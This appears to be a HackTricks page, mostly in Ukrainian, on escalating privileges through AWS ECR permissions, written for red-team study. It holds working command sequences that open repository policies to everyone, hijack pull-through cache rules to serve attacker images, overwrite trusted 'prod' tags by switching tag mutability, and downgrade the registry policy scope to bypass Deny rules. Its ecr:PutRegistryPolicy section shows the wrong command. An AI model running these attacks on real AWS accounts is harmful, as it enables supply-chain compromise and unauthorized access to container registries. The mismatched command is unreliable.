AWS - ECR Privesc

Reading time: 9 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks

ECR

ecr:GetAuthorizationToken,ecr:BatchGetImage

Зловмисник, який має ecr:GetAuthorizationToken та ecr:BatchGetImage, може увійти в ECR і завантажити образи.

For more info on how to download images:

AWS - ECR Post Exploitation

Потенційний вплив: Непряма privesc шляхом перехоплення конфіденційної інформації в трафіку.

ecr:GetAuthorizationToken, ecr:BatchCheckLayerAvailability, ecr:CompleteLayerUpload, ecr:InitiateLayerUpload, ecr:PutImage, ecr:UploadLayerPart

Зловмисник з усіма переліченими дозволами може увійти в ECR і завантажувати образи. Це може бути використано для ескалації привілеїв в інших середовищах, де ці образи використовуються.

To learn how to upload a new image/update one, check:

AWS - EKS Enum

ecr-public:GetAuthorizationToken, ecr-public:BatchCheckLayerAvailability, ecr-public:CompleteLayerUpload, ecr-public:InitiateLayerUpload, ecr-public:PutImage, ecr-public:UploadLayerPart

Як у попередньому розділі, але для публічних репозиторіїв.

ecr:SetRepositoryPolicy

Зловмисник з цим дозволом може змінити політику репозиторію, щоб надати собі (або навіть усім) доступ для читання/запису.
Наприклад, у цьому прикладі доступ для читання надається всім.

bash
aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json

Вміст my-policy.json:

json
{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "allow public pull",
"Effect": "Allow",
"Principal": "*",
"Action": [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetDownloadUrlForLayer"
]
}
]
}

ecr-public:SetRepositoryPolicy

Як і в попередньому розділі, але для публічних репозиторіїв.\ Зловмисник може змінити політику репозиторію ECR Public repository, щоб надати неавторизований публічний доступ або підвищити свої привілеї.

bash
# Create a JSON file with the malicious public repository policy
echo '{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "MaliciousPublicRepoPolicy",
"Effect": "Allow",
"Principal": "*",
"Action": [
"ecr-public:GetDownloadUrlForLayer",
"ecr-public:BatchGetImage",
"ecr-public:BatchCheckLayerAvailability",
"ecr-public:PutImage",
"ecr-public:InitiateLayerUpload",
"ecr-public:UploadLayerPart",
"ecr-public:CompleteLayerUpload",
"ecr-public:DeleteRepositoryPolicy"
]
}
]
}' > malicious_public_repo_policy.json

# Apply the malicious public repository policy to the ECR Public repository
aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json

Потенційний вплив: Несанкціонований публічний доступ до репозиторію ECR Public, що дозволяє будь-якому користувачу push, pull або delete images.

ecr:PutRegistryPolicy

Зловмисник з цим дозволом може змінити політику реєстру, щоб надати собі, своєму обліковому запису (або навіть усім) read/write access.

bash
aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json

ecr:CreatePullThroughCacheRule

Зловживання ECR Pull Through Cache (PTC) rules для створення відповідності між керованим атакуючим upstream namespace і довіреним приватним ECR префіксом. Це дозволяє робочим навантаженням, які тягнуть образи з приватного ECR, прозоро отримувати образи атакуючого без будь-якого push в приватний ECR.

  • Required perms: ecr:CreatePullThroughCacheRule, ecr:DescribePullThroughCacheRules, ecr:DeletePullThroughCacheRule. If using ECR Public upstream: ecr-public:* to create/push to the public repo.
  • Tested upstream: public.ecr.aws

Steps (example):

  1. Prepare attacker image in ECR Public

Get your ECR Public alias with: aws ecr-public describe-registries --region us-east-1

docker login public.ecr.aws/<public_alias> docker build -t public.ecr.aws/<public_alias>/hacktricks-ptc-demo:ptc-test . docker push public.ecr.aws/<public_alias>/hacktricks-ptc-demo:ptc-test

  1. Create the PTC rule in private ECR to map a trusted prefix to the public registry aws ecr create-pull-through-cache-rule --region us-east-2 --ecr-repository-prefix ptc --upstream-registry-url public.ecr.aws

  2. Pull the attacker image via the private ECR path (no push to private ECR was done) docker login <account_id>.dkr.ecr.us-east-2.amazonaws.com docker pull <account_id>.dkr.ecr.us-east-2.amazonaws.com/ptc/<public_alias>/hacktricks-ptc-demo:ptc-test docker run --rm <account_id>.dkr.ecr.us-east-2.amazonaws.com/ptc/<public_alias>/hacktricks-ptc-demo:ptc-test

Potential Impact: Компрометація supply-chain шляхом перехоплення внутрішніх імен образів під вибраним префіксом. Будь-яке робоче навантаження, яке тягне образи з приватного ECR з цим префіксом, отримає контент, контрольований атакуючим.

ecr:PutImageTagMutability

Зловживання цим дозволом для перемикання репозиторію з tag immutability на mutable і перезапис довірених тегів (наприклад, latest, stable, prod) контентом атакуючого.

  • Required perms: ecr:PutImageTagMutability plus push capabilities (ecr:GetAuthorizationToken, ecr:InitiateLayerUpload, ecr:UploadLayerPart, ecr:CompleteLayerUpload, ecr:PutImage).
  • Impact: Компрометація supply-chain шляхом непомітної заміни immutable тегів без зміни імен тегів.

Steps (example):

Отруєння immutable тегу шляхом перемикання mutability
bash
REGION=us-east-1
REPO=ht-immutable-demo-$RANDOM
aws ecr create-repository --region $REGION --repository-name $REPO --image-tag-mutability IMMUTABLE
acct=$(aws sts get-caller-identity --query Account --output text)
aws ecr get-login-password --region $REGION | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com
# Build and push initial trusted tag
printf 'FROM alpine:3.19\nCMD echo V1\n' > Dockerfile && docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod . && docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod
# Attempt overwrite while IMMUTABLE (should fail)
printf 'FROM alpine:3.19\nCMD echo V2\n' > Dockerfile && docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod . && docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod
# Flip to MUTABLE and overwrite
aws ecr put-image-tag-mutability --region $REGION --repository-name $REPO --image-tag-mutability MUTABLE
docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod
# Validate consumers pulling by tag now get the poisoned image (prints V2)
docker run --rm ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod

Глобальне захоплення реєстру через ROOT Pull-Through Cache rule

Створіть Pull-Through Cache (PTC) rule, використовуючи спеціальний ecrRepositoryPrefix=ROOT, щоб відобразити корінь приватного ECR registry на upstream public registry (наприклад, ECR Public). Будь-який pull до неіснуючого репозиторію в приватному реєстрі буде прозоро обслуговуватися з upstream, що дозволяє supply-chain hijacking без push у приватний ECR.

  • Потрібні права: ecr:CreatePullThroughCacheRule, ecr:DescribePullThroughCacheRules, ecr:DeletePullThroughCacheRule, ecr:GetAuthorizationToken.
  • Наслідок: Pull'и до <account>.dkr.ecr.<region>.amazonaws.com/<any-existing-upstream-path>:<tag> вдаються і автоматично створюють приватні репозиторії, джерелом яких є upstream.

Примітка: Для ROOT rules опустіть --upstream-repository-prefix. Передача цього параметра спричинить помилку валідації.

Демо (us-east-1, upstream public.ecr.aws)
bash
REGION=us-east-1
ACCT=$(aws sts get-caller-identity --query Account --output text)

# 1) Create ROOT PTC rule mapping to ECR Public (no upstream prefix)
aws ecr create-pull-through-cache-rule \
--region "$REGION" \
--ecr-repository-prefix ROOT \
--upstream-registry-url public.ecr.aws

# 2) Authenticate to private ECR and pull via root path (triggers caching & auto repo creation)
aws ecr get-login-password --region "$REGION" | docker login --username AWS --password-stdin ${ACCT}.dkr.ecr.${REGION}.amazonaws.com

# Example using an official mirror path hosted in ECR Public
# (public.ecr.aws/docker/library/alpine:latest)
docker pull ${ACCT}.dkr.ecr.${REGION}.amazonaws.com/docker/library/alpine:latest

# 3) Verify repo and image now exist without any push
aws ecr describe-repositories --region "$REGION" \
--query "repositories[?repositoryName==docker/library/alpine]"
aws ecr list-images --region "$REGION" --repository-name docker/library/alpine --filter tagStatus=TAGGED

# 4) Cleanup
aws ecr delete-pull-through-cache-rule --region "$REGION" --ecr-repository-prefix ROOT
aws ecr delete-repository --region "$REGION" --repository-name docker/library/alpine --force || true

ecr:PutAccountSetting (Понизити REGISTRY_POLICY_SCOPE, щоб обійти заборони політики реєстру)

Зловживати ecr:PutAccountSetting, щоб змінити область дії політики реєстру з V2 (політика застосовується до всіх дій ECR) на V1 (політика застосовується лише до CreateRepository, ReplicateImage, BatchImportUpstreamImage). Якщо обмежувальна Deny-політика реєстру блокує дії на кшталт CreatePullThroughCacheRule, пониження до V1 знімає це обмеження, і дозволи identity‑policy набувають чинності.

  • Необхідні дозволи: ecr:PutAccountSetting, ecr:PutRegistryPolicy, ecr:GetRegistryPolicy, ecr:CreatePullThroughCacheRule, ecr:DescribePullThroughCacheRules, ecr:DeletePullThroughCacheRule.
  • Вплив: Можливість виконувати дії ECR, які раніше блокувала Deny-політика реєстру (наприклад, створювати PTC rules), шляхом тимчасової установки scope на V1.

Кроки (приклад):

Обійти Deny політики реєстру для CreatePullThroughCacheRule, переключившись на V1
bash
REGION=us-east-1
ACCT=$(aws sts get-caller-identity --query Account --output text)

# 0) Snapshot current scope/policy (for restore)
aws ecr get-account-setting --name REGISTRY_POLICY_SCOPE --region $REGION || true
aws ecr get-registry-policy --region $REGION > /tmp/orig-registry-policy.json 2>/dev/null || echo '{}' > /tmp/orig-registry-policy.json

# 1) Ensure V2 and set a registry policy Deny for CreatePullThroughCacheRule
aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V2 --region $REGION
cat > /tmp/deny-ptc.json <<'JSON'
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "DenyPTCAll",
"Effect": "Deny",
"Principal": "*",
"Action": ["ecr:CreatePullThroughCacheRule"],
"Resource": "*"
}
]
}
JSON
aws ecr put-registry-policy --policy-text file:///tmp/deny-ptc.json --region $REGION

# 2) Attempt to create a PTC rule (should FAIL under V2 due to Deny)
set +e
aws ecr create-pull-through-cache-rule \
--region $REGION \
--ecr-repository-prefix ptc-deny-test \
--upstream-registry-url public.ecr.aws
RC=$?
set -e
if [ "$RC" -eq 0 ]; then echo "UNEXPECTED: rule creation succeeded under V2 deny"; fi

# 3) Downgrade scope to V1 and retry (should SUCCEED now)
aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V1 --region $REGION
aws ecr create-pull-through-cache-rule \
--region $REGION \
--ecr-repository-prefix ptc-deny-test \
--upstream-registry-url public.ecr.aws

# 4) Verify rule exists
aws ecr describe-pull-through-cache-rules --region $REGION \
--query "pullThroughCacheRules[?ecrRepositoryPrefix=='ptc-deny-test']"

# 5) Cleanup and restore
aws ecr delete-pull-through-cache-rule --region $REGION --ecr-repository-prefix ptc-deny-test || true
if jq -e '.registryPolicyText' /tmp/orig-registry-policy.json >/dev/null 2>&1; then
jq -r '.registryPolicyText' /tmp/orig-registry-policy.json > /tmp/_orig.txt
aws ecr put-registry-policy --region $REGION --policy-text file:///tmp/_orig.txt
else
aws ecr delete-registry-policy --region $REGION || true
fi
aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V2 --region $REGION

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks